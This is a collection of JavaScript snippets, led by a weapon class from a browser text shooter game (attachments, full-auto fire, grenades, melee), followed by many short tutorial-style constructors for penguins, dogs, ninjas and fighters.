                    \";\r\n\t break;\r\n\r\n\t case \"Reflex sight\":\r\n\t\tthis.rangeModifier = 10;\r\n\t\tthis.scopeAttached = true;\r\n\t\tdocument.getElementById(\"scopeAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    Your reflex sight attaches with no issue. You tweak the settings until you are happy with them and begin staring down the sights intently for the kill.

                    \";\r\n\t break;\r\n\r\n\t case \"6H5 type bayonet\":\r\n\t\tthis.bayonetAttached = true;\r\n\t\tthis.meleeValueModifier = 20;\r\n\t\tdocument.getElementById(\"bayonetAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    You affix the 6H5 type bayonet to the end of your weapon and let loose a maniacal guffaw! You now have a [20] point damage bonus for melee attacks.

                    \";\r\n\t break;\r\n\r\n\t case \"Silencer\":\r\n\t\tthis.silencerAttached = true;\r\n\t\tthis.noiseModifier = 40;\r\n\t\tdocument.getElementById(\"silencerAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    You screw the silencer onto the end of your weapon with no problems.

                    \";\r\n\t break;\r\n\r\n\t case \"Extended Magazine\":\r\n\t this.magModifier = 54;\r\n\t\tthis.magAttached = true;\r\n\t this.magSize = (this.magModifier + this.magSize);\r\n\t\tthis.maxMagSize = (this.magModifier + this.magSize);\r\n\t\tdocument.getElementById(\"magAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    You slide in a fresh drum magazine for your \" + this.name + \". It pops into place with a satisfying clicking noise. A wicked grin pulls at the corners of your lips and you begin checking your sights. \" + \"Your total magazine capacity for this gun has been upgraded to \" + this.magSize + \" shots of \" + this.ammoType + \".

                    \";\r\n break;\r\n\r\n\t case \"Standard magazine (AK)\":\r\n\t\tthis.magModifier = 0;\r\n\t\tthis.magSize = 15;\r\n\t\tthis.maxMagSize = 15;\r\n\t\tthis.magAttached = false;\r\n\t\tdocument.getElementById(\"magAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    You slide in a standard 15 round magazine for your \" + this.type + \".

                    \";\r\n\t break;\r\n\r\n\t\t\r\n\t\tcase \"Standard iron sights\":\r\n\t\tthis.rangeModifier = 0;\r\n\t\tthis.scopeAttached = false;\r\n\t\tdocument.getElementById(\"scopeAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    You remove the scope from your weapon and go back to using your standard iron sights.

                    \";\r\n\t\tbreak;\r\n\t\t\r\n\t\tcase \"no bayonet\":\r\n\t\tthis.meleeValueModifier = 0;\r\n\t\tthis.bayonetAttached = false;\r\n\t\tdocument.getElementById(\"bayonetAttachment\").innerHTML = \"\";\r\n\t output = \"

                    You remove the bayonet from your weapon.

                    \";\r\n\t\tbreak;\r\n\t\t\r\n\t\tcase \"no grenades\":\r\n\t\tthis.secondaryFire = false;\r\n\t\tthis.secondaryFireAmmo = null;\r\n\t\tthis.secondaryFiremaxMag = null;\r\n\t\tthis.secondaryDamage = null;\r\n\t\tthis.ammoSecondaryType = null;\r\n\t\tdocument.getElementById(\"grenadeLauncherAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    You detach the grenade launcher from your weapon.

                    \";\r\n\t\tbreak;\r\n\t\t\r\n\t\tcase \"no silencer\":\r\n\t\tthis.silencerAttached = false;\r\n\t\tthis.noiseModifier = 0;\r\n\t\tdocument.getElementById(\"silencerAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    You unscrew the silencer from the end of your weapon.

                    \";\r\n\t break;\r\n\t\t\r\n\t\tdefault:\r\n\t\toutput = \"

                    This attachment is nowhere to be found in your pack! Most unfortunate.

                    \";\r\n\t break;\r\n\t}\r\n\t\r\n\t\r\n\r\n\tLogInfo(output);\r\n } // addAttachment\r\n\r\n /*\r\n\tBust a cap. Or many of them, as the case may be.\r\n\ttarget - object - the thing that you want to make dead\r\n */\r\n this.sprayAndPray = function(target){\r\n\tvar output = \"\",\r\n\t randomSeed = Math.floor(Math.random() * 10 + 3),\r\n\t newMagSize = 0,\r\n\t damageDealt = 0;\r\n\r\n\tif (!target.dead && target.isAlive) {\r\n\t if (this.isFullAuto) {\r\n\t\t\r\n\t\t// Checks to see if we have enough ammo and fires if we do!\r\n\t\tif (this.magSize >= 3) {\r\n\t\t newMagSize = this.magSize - randomSeed;\r\n\t\t damageDealt = this.bulletDamage * randomSeed;\r\n\t\t output = \"

                    You switch your \" + this.type +\" over to full-auto and throw some hot lead downrange with your \"+ this.name +\"! *BRRRRAPP!* You fired \" + randomSeed + \" shots for a combined total damage score of \"+ damageDealt + \" (\"+ this.bulletDamage + \" per round).

                    \";\r\n\t\t} else {\r\n\t\t output = \"

                    Please reload your weapon.

                    \";\r\n\t\t}\r\n\t } else {\r\n\t\toutput = \"

                    You cannot spray and pray with a non-automatic weapon. Try taking an aimed shot instead.

                    \";\r\n\t }\r\n\r\n\t if (damageDealt > target.health && target.isAlive && target.isLiving) {\r\n\t\ttarget.dead = true;\r\n\t\toutput += \"

                    [CRITICAL HIT] Your attack installed a new moonroof in the back of \" + target.name + \"'s head courtesy of your \" + this.type +\", Effectively killing the *shit* out of it! \" + target.deathKnell + \" You have \" + newMagSize + \" rounds of \" + this.ammoType + \" left!

                    \";\r\n\t } else if (damageDealt === target.health && target.isAlive && target.isLiving) {\r\n\t\ttarget.dead = true;\r\n\t\toutput += \"

                    You scored a direct hit on \" + target.name + \"! \" + \" blood spurts from an artery, and they drop to the floor still twitching. \" + target.deathKnell + \" You have \" + newMagSize + \" rounds of \" + this.ammoType +\" left!

                    \";\r\n\t } else if (damageDealt >= target.health && target.isAlive && !target.isLiving) {\r\n\t\ttarget.dead = true;\r\n\t\tdocument.getElementById(\"questWindow\").innerHTML = \"\";\r\n\t\toutput += \"

                    You destroyed the \" + target.name + \"! \" + target.deathKnell + \" You have \" + newMagSize + \" shots of \" + this.ammoType + \" left!

                    \";\r\n\t } else {\r\n\t\ttarget.health = target.health - damageDealt;\r\n\t\tthis.magSize = newMagSize;\r\n\t output += \"

                    Your volley of shots strikes \"+ target.name + \". They now have \" + target.health + \" health left.\"+ \" \" + target.hitSound + \" You now have \" + newMagSize +\" Rounds of \"+ this.ammoType +\" left.

                    \";\r\n\t }\r\n\t} else {\r\n\t output = \"

                    [ATTACK FAILED - TARGET ALREADY NEUTRALIZED] HE'S DEAD, JIM. LET IT GO!

                    \";\r\n\t}\r\n\r\n\tLogInfo(output);\r\n } // sprayAndPray\r\n\t\r\n\t\r\n\r\n\t// Bust *a* cap. in the singular case this time! Arriba!\r\n\tthis.aimedShot = function(target){\r\n\r\n\tvar output = \"\";\r\n\r\n\t// is it dead?\r\n if (!target.dead) {\t\r\n\t\r\n\t\t newMagSize = 0;\r\n\t damageDealt = 0;\r\n\t\t\r\n\t// do we have enough ammo? if so let's rock!\r\n\tif (this.magSize >= 1) {\t\r\n\t\tnewMagSize = this.magSize - 1;\r\n\t damageDealt = this.bulletDamage;\t\t\r\n\tif (damageDealt > target.health && target.isLiving === true) {\r\n\t target.dead = true;\r\n\t\tthis.magSize = newMagSize;\r\n\t output += \"

                    [CRITICAL HIT] Your attack installed a new moonroof in the back of \" + target.name + \"'s head courtesy of your \" + this.type +\", Effectively killing the *shit* out of it! \" + target.deathKnell + \" You now have \" + newMagSize +\" Rounds of \"+ this.ammoType +\" left.

                    \";\r\n\t} else if (damageDealt === target.health && target.isLiving === true) {\r\n\t target.dead = true;\r\n\t\tthis.magSize = newMagSize;\r\n\t\tdocument.getElementById(\"questWindow\").innerHTML = \"\";\r\n\t output += \"

                    You scored a fatal hit on \" + target.name + \"! \" + \" blood spurts from an artery in a glorious crimson fountain in front of them, and they drop to the floor still twitching. \" + target.deathKnell + \" You now have \" + newMagSize +\" Rounds of \"+ this.ammoType +\" left.

                    \";\r\n\t} else if (damageDealt >= target.health && !target.isLiving) {\r\n\t target.dead = true;\r\n\t\tthis.magSize = newMagSize;\r\n\t\tdocument.getElementById(\"questWindow\").innerHTML = \"\";\r\n\t output += \"

                    You destroyed the \" + target.name + \"! \" + target.deathKnell + \"

                    \";\r\n\t} else {\r\n\t target.health = target.health - damageDealt;\r\n\t\tthis.magSize = newMagSize;\r\n\t output += \"

                    Steadying your weapon, you level a well-placed shot into \"+ target.name + \" For [\" + this.bulletDamage + \"] points of damage. They now have \" + target.health + \" health left.\"+ \" \" + target.hitSound + \" You now have \" + newMagSize +\" Rounds of \"+ this.ammoType +\" left.

                    \";\r\n\t}\t\r\n\t}else{\r\n\toutput += \"

                    Please reload your weapon

                    \";\r\n\t}\t\t\r\n\t}else{\r\n\toutput = \"

                    [ATTACK FAILED - TARGET ALREADY NEUTRALIZED] HE'S DEAD, JIM. LET IT GO!

                    \";\r\n\t}\r\n\tLogInfo(output);\r\n\t} // Aimed shot\r\n\t\r\n\t\r\n\r\n\t// Gettin' stabby with it (melee)!\r\n\r\n\tthis.attackMelee = function(target){\r\n\r\n\tvar output = \"\";\r\n\r\n\t// is it dead?\r\n if (!target.dead) {\t\r\n\t\r\n\t damageDealt = this.meleeValueModifier + this.meleeValue;\r\n\t\t\t\t\r\n\tif (damageDealt > target.health && target.isLiving === true) {\r\n\t target.dead = true;\r\n\t output += \"

                    [CRITICAL HIT] You completely decapitated \" + target.name + \" with your insane melee skills, Effectively killing the *shit* out of it! \" + target.deathKnell + \"

                    \";\r\n\t} else if (damageDealt === target.health && target.isLiving === true) {\r\n\t target.dead = true;\r\n\t\tdocument.getElementById(\"questWindow\").innerHTML = \"\";\r\n\t output += \"

                    You land a devastating blow on \" + target.name + \"! \" + \" blood pours from a wound you have left in their throat, and they drop to the floor still twitching. \" + target.deathKnell + \"

                    \";\r\n\t} else if (damageDealt >= target.health && !target.isLiving) {\r\n\t target.dead = true;\r\n\t\tdocument.getElementById(\"questWindow\").innerHTML = \"\";\r\n\t output += \"

                    You destroyed the \" + target.name + \"! \" + target.deathKnell + \"

                    \";\r\n\t} else {\r\n\t target.health = target.health - damageDealt;\r\n\t output += \"

                    You swing frantically at \"+ target.name + \" For [\" + damageDealt + \"] points of damage. They now have \" + target.health + \" health left.\"+ \" \" + target.hitSound + \"

                    \";\r\n\t}\t\r\n\t}else{\r\n\toutput = \"

                    [ATTACK FAILED - TARGET ALREADY NEUTRALIZED] HE'S DEAD, JIM. LET IT GO!

                    \";\r\n\t}\r\n\tLogInfo(output);\r\n\t} // attackMelee\r\n\t\r\n\t\r\n\t// Lob a grenade!\r\n\tthis.grenade = function(target){\r\n\tvar output = \"\";\r\n\r\n\t// is it dead?\r\n if (!target.dead) {\t\r\n\t\r\n\t\t newSecondaryMagSize = 0;\r\n\t damageDealt = 0;\r\n\t\t\r\n\t// do we have enough ammo? if so let's rock!\r\n\tif (this.secondaryFireAmmo >= 1) {\t\r\n\t\tnewSecondaryMagSize = this.secondaryFireAmmo - 1;\r\n\t damageDealt = this.secondaryDamage;\t\t\r\n\tif (damageDealt > target.health && target.isLiving === true) {\r\n\t target.dead = true;\r\n\t\tthis.secondaryFireAmmo = newSecondaryMagSize;\r\n\t\tdocument.getElementById(\"secondaryAmmo\").innerHTML = \"\" + \" x \" + newSecondaryMagSize + \"\";\r\n\t\tdocument.getElementById(\"questWindow\").innerHTML = \"\";\r\n\t output += \"

                    [CRITICAL HIT] Your attack obliterated \" + target.name + \". \" + target.deathKnell + \" You now have \" + newSecondaryMagSize +\" Rounds of \"+ this.ammoSecondaryType +\" left. Please press reload in the secondary fire panel to insert a new grenade and fire another shot.

                    \";\r\n\t} else if (damageDealt === target.health && target.isLiving === true) {\r\n\t target.dead = true;\r\n\t\tthis.secondaryFireAmmo = newSecondaryMagSize;\r\n\t\tdocument.getElementById(\"secondaryAmmo\").innerHTML = \"\" + \" x \" + newSecondaryMagSize + \"\";\r\n\t\tdocument.getElementById(\"questWindow\").innerHTML = \"\";\r\n\t output += \"

                    The explosion splatters \" + target.name + \" all over the room! \" + target.deathKnell + \" You now have \" + newSecondaryMagSize +\" Rounds of \"+ this.ammoSecondaryType +\" left. Please press reload in the secondary fire panel to insert a new grenade and fire another shot.

                    \";\r\n\t} else if (damageDealt >= target.health && !target.isLiving) {\r\n\t target.dead = true;\r\n\t\tthis.secondaryFireAmmo = newSecondaryMagSize;\r\n\t\tdocument.getElementById(\"secondaryAmmo\").innerHTML = \"\" + \" x \" + newSecondaryMagSize + \"\";\r\n\t\tdocument.getElementById(\"questWindow\").innerHTML = \"\";\r\n\t output += \"

                    You exploded the \" + target.name + \"! \" + target.deathKnell + \"

                    \";\r\n\t} else {\r\n\t target.health = target.health - damageDealt;\r\n\t\tthis.secondaryFireAmmo = newSecondaryMagSize;\t\r\n\t\tdocument.getElementById(\"secondaryAmmo\").innerHTML = \"\" + \" x \" + newSecondaryMagSize + \"\";\r\n\t output += \"

                    You launch a well-placed shot with one of your \" + this.ammoSecondaryType + \". \"+ target.name + \" was hit For a whopping [\" + this.secondaryDamage + \"] points of damage. They now have \" + target.health + \" health left.\"+ \" \" + target.hitSound + \" You now have \" + newSecondaryMagSize +\" Rounds of \"+ this.ammoSecondaryType +\" left in your launcher. Please press reload in the secondary fire panel to insert a new grenade and fire another shot.

                    \";\r\n\t}\t\r\n\t}else{\r\n\toutput += \"

                    Please reload your grenade launcher

                    \";\r\n\t}\t\t\r\n\t}else{\r\n\toutput = \"

                    [ATTACK FAILED - TARGET ALREADY NEUTRALIZED] HE'S DEAD, JIM. LET IT GO!

                    \";\r\n\t}\r\n\tLogInfo(output);\r\n\t} // Grenade\r\n\t\r\n\t\r\n\t\r\n\t//reload function\r\n\tthis.reload = function(){\r\n\t\r\n\t\tcurrentRounds = this.magSize + this.magModifier;\r\n\t\r\n\t\tif( currentRounds === this.maxMagSize){\r\n\t\t\r\n\t\toutput = \"You do not need to reload this weapon.\";\r\n\t\t\r\n\t\t}else{\r\n\t\t\r\n\t\tamountToReload = this.maxMagSize - currentRounds;\r\n\t\tthis.magSize = this.magSize + amountToReload;\r\n\t\toutput = \"You reload your weapon. You now have \" + this.magSize + \" rounds of \" + this.ammoType + \".\";\r\n\t\tLogInfo(output);\r\n\t\t\r\n\t\t}\r\n\t}// reload\r\n\t\r\n\t\r\n\t\r\n\t//secondary reload function (used for alt. fire weapons)\r\n\tthis.secondaryReload = function(){\r\n\t\r\n\t\tAKS74u.secondaryFireAmmo = 1;\r\n\t\tdocument.getElementById(\"secondaryAmmo\").innerHTML = \"\" + \" x \" + AKS74u.secondaryFireAmmo;\r\n\t\toutput = \"You reload another grenade\";\r\n\t\tLogInfo(output);\r\n\t}// secondary reload\r\n\t\r\n\t\r\n\t}","function Person(name, stance, perception, taunt){\r\n this.name = name;\r\n this.stance = stance;\r\n this.perception = perception;\r\n this.taunt = taunt;\r\n this.weapon = null;\r\n\t\r\n\t/* \r\n\tcurrent attack mode property for players (starts as single shot)\r\n\t*/\r\n\tthis.currentAttackMode = \"single\";\r\n\r\n /*\r\n\tGo ahead, give them a gun, see if I care.\r\n\tgun - object - the gun to equip them with\r\n */\r\n this.arm = function(gun) {\r\n\tthis.weapon = gun;\r\n }\r\n\r\n /*\r\n\tAttacks with the current weapon\r\n\ttarget - object - the thing you want to attack\r\n */\r\n this.attack = function(target) {\r\n\tthis.weapon.sprayAndPray(target);\r\n }\r\n\t\r\n\t/*\r\n\tAttacks with single shot\r\n\t*/\r\n\tthis.attackSingle = function(target) {\r\n\tthis.weapon.aimedShot(target);\r\n }\r\n\t\r\n\t/*\r\n\tAttacks with melee\r\n\t*/\r\n\tthis.attackMelee = function(target) {\r\n\tthis.weapon.attackMelee(target);\r\n }\r\n\t\r\n\t/*\r\n\tAttacks with grenade\r\n\t*/\r\n\tthis.attackGrenade = function(target) {\r\n\tthis.weapon.grenade(target);\r\n }\r\n\t\r\n}","function DoggoFighter(name,specialAbility){\n this.name = name;\n this.specialAbility = specialAbility;\n}","constructor(name, legs, isDanger){\n super(name, legs)//properties inherited from the parent class\n this.isDanger = isDanger\n }","function Gun( ownerImage, projectileImage, shoot ) {\n this.ownerImage = ownerImage;\n this.image = projectileImage;\n this.shoot = shoot;\n if (this.shoot === undefined) {\n // Do nothing\n this.shoot = function() {\n \n }\n }\n}","youngGun(args) {\n return this.createGameObject(\"YoungGun\", young_gun_1.YoungGun, args);\n }","function Dog(hungry) {\n\n this.status = \"normal\";\n this.color = \"black\";\n this.hungry = \"hungry\";\n}","function Penguin(name){\n this.name = name;\n this.numLegs = 2;\n}","function Penguin(name){\n this.name = name;\n this.numLegs = 2;\n}","function Penguin(name){\n this.name = name;\n this.numLegs = 2;\n}","function Warrior(heroName=\"Cloud\", heroLevel=99, heroWeapon=\"the Brotherhood\") {\n // In order to effectively call 'super' in JS, we use \n Hero.call(this, heroName, heroLevel);\n this.heroWeapon = heroWeapon;\n}","constructor(name, health, speed, strength, wisdom){\n super(name);\n this.health = 200;\n this.speed = 10;\n this.strength = 10;\n this.wisdom = 10;\n }","function Fighter(name, health, damagePerAttack) {\n this.name = name\n this.health = health;\n this.damagePerAttack = damagePerAttack;\n this.toString = function() { return this.name; }\n}","function Penguin(name) {\n this.name = name;\n this.numLegs = 2;\n}","function Penguin(name) {\n this.name = name;\n this.numLegs = 2;\n}","constructor(...args) {\n super(...args);\n\n this.addClasses('character');\n this.directionX = 0;\n this.directionY = 0;\n }","function Ninja(name, health=100) {\n // create a private variable that stores a reference to the new object we create\n var self = this;\n var strength =3;\n var speed =3;\n this.nameT = name;\n this.healthT =health;\n\n this.sayName = function(){\n console.log(`My ninja name is ${this.nameT}`)\n } \n this.showStats = function() {\n console.log(`Name: ${this.nameT} , Health is ${this.healthT} , Speed: ${speed} , Strength${strength}` )\n }\n \n this.drinkSake = function() {\n this.healthT +=10;\n }\n\n\n // this.method = function() {\n // console.log( \"I am a method\");\n\n // var privateMethod = function() {\n // console.log(\"this is a private method for \" + self.name);\n // console.log(self);\n // }\n // this.age = age;\n // this.greet = function() {\n // console.log(\"Hello my name is \" + this.name + \" and I am \" + this.age + \" years old!\");\n // // we can access our attributes within the constructor!\n // console.log(\"Also my privateVariable says: \" + privateVariable)\n // // we can access our methods within the constructor!\n // privateMethod();\n // }\n}","function Fighter(name, health, damagePerAttack, special, avatar) {\n this.name = name;\n this.health = health;\n this.maxHealth = health;\n this.damagePerAttack = damagePerAttack;\n this.special = special;\n this.avatar = avatar;\n this.toString = function() {\n return this.name;\n };\n}","function Penguin(name) { // All penguins have 2 legs, so we only need the function parameter name\n this.name = name;\n this.numLegs = 2;\n}","constructor(...args) {\n super(...args);\n\n\n // The following values should get overridden when delta states are merged, but we set them here as a reference for you to see what variables this class has.\n\n // default values for private member values\n this.corpses = 0;\n this.isCastle = false;\n this.isGoldMine = false;\n this.isGrass = false;\n this.isIslandGoldMine = false;\n this.isPath = false;\n this.isRiver = false;\n this.isTower = false;\n this.isUnitSpawn = false;\n this.isWall = false;\n this.isWorkerSpawn = false;\n this.numGhouls = 0;\n this.numHounds = 0;\n this.numZombies = 0;\n this.owner = null;\n this.tileEast = null;\n this.tileNorth = null;\n this.tileSouth = null;\n this.tileWest = null;\n this.tower = null;\n this.unit = null;\n this.x = 0;\n this.y = 0;\n\n //<<-- Creer-Merge: init -->> - Code you add between this comment and the end comment will be preserved between Creer re-runs.\n // any additional init logic you want can go here\n //<<-- /Creer-Merge: init -->>\n }","function AllianceFaction(Character, Class, Gender, Profession){\n this.Character = Character;\n this.Class = Class;\n this.Gender = Gender;\n this.Profession = Profession;\n this.profile = function(){\n return `My race is ${this.Character}, I am a ${this.Gender} ${this.Class}, I specialize in ${this.Profession}`;\n // console.log(this);\n }\n}","function Weapon(name, target) {\n this.name = name;\n this.target = target;\n}","function Gun(x, y, size)\n{\n\tthis.x = x;\n\tthis.y = y;\n\tthis.size = size;\n}","constructor()\n\t{\n\t\tthis.HP = 100;\n\t\tthis.dmg = 30;\n\t\tthis.evasion = 15;\n\n\t\t//boolean for special move\n\t\tthis.fly = 0;\n\t\tthis.invi = 0;\n\t\tthis.slammed = 0;\n\n\t\tthis.alive = true;\n\t}","constructor(...args) {\n super(...args);\n\n\n // The following values should get overridden when delta states are merged, but we set them here as a reference for you to see what variables this class has.\n\n // default values for private member values\n this.canMove = false;\n this.drunkDirection = '';\n this.focus = 0;\n this.health = 0;\n this.isDead = false;\n this.isDrunk = false;\n this.job = '';\n this.owner = null;\n this.tile = null;\n this.tolerance = 0;\n this.turnsBusy = 0;\n\n //<<-- Creer-Merge: init -->> - Code you add between this comment and the end comment will be preserved between Creer re-runs.\n // any additional init logic you want can go here\n //<<-- /Creer-Merge: init -->>\n }","function Warrior(name, health, anger) {\n Hero.call(this, name, health);\n this.anger = anger;\n}","function Ninja() {\r\n this.swung = true;\r\n}","function Penguin(name, numLegs){\n this.name = name;\n this.numLegs = numLegs;\n}","initialize() {\n // prepare characters for fighting\n this.c1.prepareForFight();\n this.c2.prepareForFight();\n\n // show characters stats\n console.log('Players are ready to fight!');\n this.c1.printStats();\n this.c2.printStats();\n\n // who starts the fight?\n if (\n // character 1 is faster?\n this.c1.speed > this.c2.speed ||\n (\n // same speed...\n this.c1.speed === this.c2.speed &&\n // ...but character 1 is luckier\n this.c1.luck > this.c2.luck\n )\n ) {\n // character 1 starts the fight\n this.attacker = this.c1;\n this.defender = this.c2;\n } else {\n // character 2 starts the fight\n this.attacker = this.c2;\n this.defender = this.c1;\n }\n }","function Greetr()\r\n{\r\n this.greeting = 'Hola mundo!';\r\n}","function dragonConstructor(name, age){\n\tthis.species = \"Dragon\";\n\tthis.size = \"Enormous\";\n\tthis.isDead = false;\n\tthis.name = name;\n\tthis.age = age;\n\n\tthis.getDefeated = () => this.isDead = true;\n}","function Dog() {\nthis.name = \"Rupert\";\nthis.color = \"brown\";\nthis.numLegs = 4;\n}","function fighterStats(name, hp, atk, def) {\n this.name = name;\n this.hp = hp;\n this.hp2 = hp;\n this.atk = atk;\n this.def = def;\n\n /** Takes damage from an enemy@param{int} damage The damage taken*/\n this.takeDamage = function(damage) {\n var damageTaken = Math.abs(damage - this.def);\n if(damage <= this.def) {\n damageTaken = 1;\n }\n this.hp2 = this.hp2 - damageTaken;\n this.hp2 = this.hp2 < 0 ? 0 : this.hp2;\n console.log(damageTaken);\n // console.log('You have taken ' + damage + 'damage!');\n }\n}","function Ninja(name, health=100, speed=3, strength=3){\n this.name=name;\n this.health=health;\n this.speed=speed;\n this.strength = strength;\n this.sayName = function(){\n console.log(\"My ninja name is \"+name);\n };\n}","constructor(...args) {\n super(...args);\n\n\n // The following values should get overridden when delta states are merged, but we set them here as a reference for you to see what variables this class has.\n\n /**\n * The name of the game.\n */\n this.name = 'Chess';\n\n // default values for private member values\n this.currentPlayer = null;\n this.currentTurn = 0;\n this.fen = '';\n this.gameObjects = {};\n this.maxTurns = 0;\n this.moves = [];\n this.pieces = [];\n this.players = [];\n this.session = '';\n this.turnsToDraw = 0;\n }","constructor(){\n console.log(\"Creating a new alien\")\n this.health = 100;\n this.damage = 50;\n\n }","function Dog() {\n this.name = \"Rex\";\n this.color = \"Black\";\n this.numLegs = 4;\n}","function Dog() {\n this.name = \"Rusty\";\n this.color = \"Golden\";\n this.numLegs = 4;\n}","function turtle(name,color,weapon,favoritePizzaType){\n this.name=name;\n this.color=color;\n this.weapon=weapon;\n this.favoritePizzaType=favoritePizzaType;\n}","constructor(name, age, breed, color) {\n // Set those equal to the instance\n this.name = name;\n this.age = age;\n this.breed = breed;\n this.color = color;\n this.energyLevel = 0;\n this.barkLevel = 10;\n }","function Ninja(name) {\n this.name = name;\n this.health = 100;\n const speed = 3;\n const strength = 3;\n \n // Add methods to the Ninja prototype\n // Log the Ninja's name to the console\n Ninja.prototype.sayName = function() {\n console.log(\"My ninja name is \" + this.name + \"!\");\n return this;\n };\n\n // Shows the Ninja's Strength and Speed, and their Health\n Ninja.prototype.showStats = function() {\n console.log(\"Name: \" + this.name + \", \" + \"Health: \" + this.health + \", \" + \"Speed: \" + speed + \", \" + \"Strength: \" + strength);\n return this;\n };\n\n // Adds +10 Health to the Ninja\n Ninja.prototype.drinkSake = function() {\n this.health += 10;\n return this;\n };\n\n // Takes another Ninja instance and subtracts 5 Health from the Ninja passed in\n Ninja.prototype.punch = function(punchReceiver) {\n // Validation to only accept instances of the Ninja class\n if (punchReceiver instanceof Ninja) {\n punchReceiver.health -= 5;\n console.log(punchReceiver.name + \" was punched by \" + this.name + \" and lost 5 Health!\");\n } else {\n console.log(\"Not a Ninja\")\n };\n return this;\n };\n\n // Subtracts 15 Health for each point of Strength the calling Ninja has, and like .punch() will take another Ninja instance\n Ninja.prototype.kick = function(kickReceiver) {\n // Validation to only accept instances of the Ninja class\n if (kickReceiver instanceof Ninja) {\n const kickDamage = 15 * strength;\n kickReceiver.health -= kickDamage;\n console.log(kickReceiver.name + \" was kicked by \" + this.name + \" and lost \" + kickDamage + \" Health!\");\n } else {\n console.log(\"Not a Ninja\")\n };\n return this;\n };\n}","constructor(name, hull, firePower, accuracy) { // constructors are info about class (this. belongs to constructor)\n this.name = name;\n this.hull = hull;\n this.firePower = firePower;\n this.accuracy = accuracy;\n }","function Person(name, weapon) {\n this.name = name;\n this.weapon = weapon;\n}","function Game_Troop() {\n this.initialize.apply(this, arguments);\n}","constructor(name){\n console.log(\"Creating a new alien\")\n this.health = 100;\n this.damage = 50;\n //assigned to the object being created\n this.name = name; \n\n }","function Penguin(name, numLegs) {\n this.name = name;\n this.numLegs = numLegs;\n}","function Game_Unit() {\n this.initialize.apply(this, arguments);\n}","function Ninja(name){\n\n\tlet speed = 3;\n\tlet strength = 3;\n\tthis.name = name;\n\tthis.health = 100;\n\n\tthis.sayName = function(){\n\t\tconsole.log(this.name);\n\t}\n\n\tthis.showStats = function(){\n\t\tconsole.log(`Name: ${this.name}, Health: ${this.health}, Strength: ${strength}, Speed: ${speed}`);\n\t}\n\n\tthis.drinkSake = function(){\n\t\tthis.health += 10;\n\t\treturn this;\n\t}\n\n\tthis.punch = function(target){\n\t\tif(target instanceof Ninja){\n\t\t\ttarget.health -= 5;\n\t\t\tconsole.log(`${target.name} was punched by ${this.name} and health is down to ${target.health}`);\n\t\t}\n\t\telse{\n\t\t\tconsole.log(`You can't punch a ${target.constructor.name}`);\n\t\t}\n\t}\n\n\tthis.kick = function(target){\n\t\tif(target instanceof Ninja){\n\t\t\ttarget.health -= 15;\n\t\t\tconsole.log(`${target.name} was kicked by ${this.name} and health is down to ${target.health}`);\n\t\t}\n\t\telse{\n\t\t\tconsole.log(`You can't kick a ${target.constructor.name}`);\n\t\t}\n\t}\n\n}","function Player () {\n\t this.x = 450; \n\t this.y = 850;\n\t this.w = 20;\n\t this.h = 20;\n\t this.deltaX = 0;\n\t this.deltaY = 0;\n\t this.xTarget = 0;\n\t this.yTarget = 0;\n\t this.tired = false;\n\t this.speed = 0;\n\t this.topSpeed = 5;\n\t this.energy = 150;\n\t this.maxEnergy = 150;\n\t this.maxHealth = 150;\n\t this.health = 150;\n\t this.recovery = 0\n\t this.xcenter = 400;\n\t this.ycenter = 300;\n\t this.fill = '#000000';\n\t this.xdirection = 1;\n\t this.ydirection = 0;\n\t this.acceleration = 0.4;\n\t this.radius = 0;\n\t this.angle = 1.7;\n\t this.mot = 0;\n\t this.closestVehicle = 0;\n\t this.distanceFromVehicle = 0;\n\t this.gettingInVehicle = 0;\n\t this.inBuilding = 0;\n\t this.walkTimer = 0;\n\t this.xVector = 0;\n\t this.yVector = 0;\n\t this.standImage = playerStand;\n\t this.walkAnimations = [\"\", playerWalk1, playerWalk2, playerWalk3, playerWalk4];\n\t this.activeWeapon = -1;\n\t this.weaponsPossessed = [\n\t\t{name: \"Pistol\", img: \"\", possess: false, ammo: 0, notHaveColor: '#783a3a', haveColor: 'red'},\n\t\t{name: \"Machine Gun\", img: \"\", possess: false, ammo: 0, notHaveColor: '#595c38', haveColor: '#fffb00'},\n\t\t{name: \"Plasma Gun\", img: \"\", possess: false, ammo: 0, notHaveColor: '#388994', haveColor: '#05e2ff'},\n\t\t{name: \"Rocket Launcher\", img: \"\", possess: false, ammo: 0, notHaveColor: '#661b61', haveColor: '#ff00ee'}\n\t ];\n\t this.weaponCount = 0;\n\t this.nearDoor = false;\n\t this.nearBuilding = false;\n\t this.ammo = [1000, 1500, 2000, 50, 30]\n\t this.kills = 0;\n\t this.points = 100;\n\t this.maxPoints = 10000;\n\t this.onTile = {x: 0, y: 0};\n\t this.inBounds = {\n\n\t }\n\t this.fBuffer = 0\n\t this.onWeaponIcon = -1;\n\t this.onPerkIcon = -1;\n\t this.interactTimer = 0;\n\t this.interactDebounceTime = 50;\n\t this.walkedOn = {\n\t\tsand: false,\n\t\twater: false,\n\t\tgrass: false, \n\t }\n}","function OogaahBattlefield() {\n\tOogaahPile.apply(this, null); // construct the base class\n}","function Weapon() {\r\n this.name;\r\n this.type;\r\n}","function User() {\r\n //\"this\" refers back to the object that calls it and is assigned the users name later on in the code\r\n this.name = \"\";\r\n //this starts each user with 100 health\r\n this.life = 100;\r\n /*this is a function that takes the parameter \"targetPlayer\" (which is the player that would lose health) and\r\n adds 1 to the target players health while at the same time decreasing the user who is giving health by 1\r\n */\r\n this.givelife = function givelife(targetPlayer) {\r\n targetPlayer.life += 1;\r\n this.life -= 1;\r\n console.log(this.name, 'gave one life to', targetPlayer.name)\r\n };\r\n}","constructor(name, weapon, type){ // Constructor is something only for subclass\n // console.log(this) - js wont allow us to run this in subclass untill we use the super() keyword\n super(name, weapon); // Super calls the super class of elf (Character). It goes up and calls the constructor\n console.log('this from subclass', this)\n this.type = type\n }","function Dog() {\n this.name = \"Fluffers\";\n this.color = \"yellow\";\n this.numLegs = 4;\n}","function GObject(h, s, tileimg){\n\tthis.health = 100; \n\tthis.strength = 5;\t//can think of this as resistance for objects\n\tthis.timg = tileimg;\n}","function Dog() {\n this.name = \"Rupert\";\n this.color = \"brown\";\n 